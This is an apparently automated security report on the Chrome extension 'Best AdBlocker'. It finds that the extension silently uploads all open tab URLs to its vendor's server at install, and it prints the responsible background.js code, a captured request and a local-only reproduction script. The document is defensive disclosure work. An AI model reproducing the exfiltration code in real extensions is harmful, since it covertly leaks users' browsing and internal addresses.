Is Best AdBlocker safe?

High risk

Blocks pop-ups and ads across websites with local filtering and site controls.

This extension blocks pop-ups, pop-unders, and ads on streaming sites and other webpages. It lets users allow, deny, background-open, redirect, or whitelist detected pop-ups, toggle protection for specific sites, and see a badge count of blocked items. The description says ad-filter updates happen automatically and filtering runs locally on the device.

Best Ad Blockerv2.0.1.4Chrome Web Store
74Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Best AdBlocker sends every open tab URL to its server when you install it

On install the extension reads the URL of every tab you have open and POSTs the list to titanpopupblocker.com.

We observed this during dynamic analysis: a planted marker page URL appeared in the outbound request body.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You install Best AdBlocker from the store.

Your existing tabs stay open through the install, as they normally would.

The extension did this

The extension reads the address of every open tab and uploads the list to its own server.

No prompt is shown, and nothing in the extension's interface reports that the upload happened.

Captured request
POSThttps://titanpopupblocker.com//register/

HTTP 200 with a JSON object carrying an inst_id, which the extension writes to chrome.storage.local.

Headers
Content-Type
application/json
Body
{  "urls": [    "chrome://newtab/",    "https://en.wikipedia.org/wiki/<planted marker page>"  ],  "crx": "<extension id>",  "version": "2.0.1.4"}
What the install-time POST carries
  • Your open tabs
    ["chrome://newtab/","https://intranet.acme.corp/hr/payroll?emp=4471"]

    The full address of every tab open at install time, including internal and query strings.

  • Extension ID
    dllpkaoladhieehkbjbifonfblhgkoki

    Identifies which build of the extension registered, tying the tab list to one install.

  • Version
    2.0.1.4

    The extension version string taken from the manifest.

  • Your cookies for the vendor domain
    credentials: "include"

    The request is sent with credentials included, so any titanpopupblocker.com cookie is attached.

The code that does this

The install-time registration in background.js

Readable version
async function b() {  let e = "default";  try {    const n = (await chrome.tabs.query({})).map(({ url }) => url);    const r = await (await fetch(P + `/register/`, {      method: "POST",      credentials: "include",      headers: { "Content-Type": "application/json" },      body: JSON.stringify({ urls: n, crx: chrome.runtime.id, version: m })    })).json();    e = r["inst_id"] || e;  } catch (n) {}  return e;}chrome.runtime.onInstalled.addListener(async e => {  if (e.reason === chrome.runtime.OnInstalledReason.INSTALL) {    await r(true);                       // reaches b() via D()    chrome.tabs.create({ url: P + 'new/' });  }});
Where the tab list goes
    • titanpopupblocker.com

    Receives the install POST carrying every open tab URL, the extension ID and version, and returns the install identifier. Also hosts the /new/ and /unregister/ paths.

Reproduce it yourself

Prints the exact JSON body this extension would send at install time, built from the tabs you have open right now, without contacting the vendor.

Requires
  • Chrome or Edge with Developer mode enabled
  • An unpacked MV3 extension declaring the "tabs" permission
show-install-upload.js · js
// Run in the service worker console of any unpacked MV3 extension that// holds the "tabs" permission, or adapt as a background.js snippet.// It rebuilds the registration body the way background.js:b() does,// then prints it instead of POSTing it.(async () => {  const urls = (await chrome.tabs.query({})).map(({ url }) => url);  const body = {    urls,    crx: chrome.runtime.id,    version: chrome.runtime.getManifest().version,  };  console.log("Would POST to https://titanpopupblocker.com/register/");  console.log(JSON.stringify(body, null, 2));  console.log(`${urls.length} tab URL(s) would leave this machine.`);})();
How to run it
  1. 1Open chrome://extensions and enable Developer mode.
  2. 2Open the service worker console of an unpacked extension holding the tabs permission.
  3. 3Paste the script and press Enter.
  4. 4Read the printed JSON.

What it can do

Permissions this extension asks for, as declared in version 2.0.1.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • Run its own code inside the pages you visit

    scripting

  • Schedule its own background tasks

    alarms

  • Act on the current tab, but only after you click the extension

    activeTab

  • See the address and title of every tab you have open

    tabs

  • Watch every request your browser makes

    webRequest

Updated 30 September 2026dllpkaoladhieehkbjbifonfblhgkoki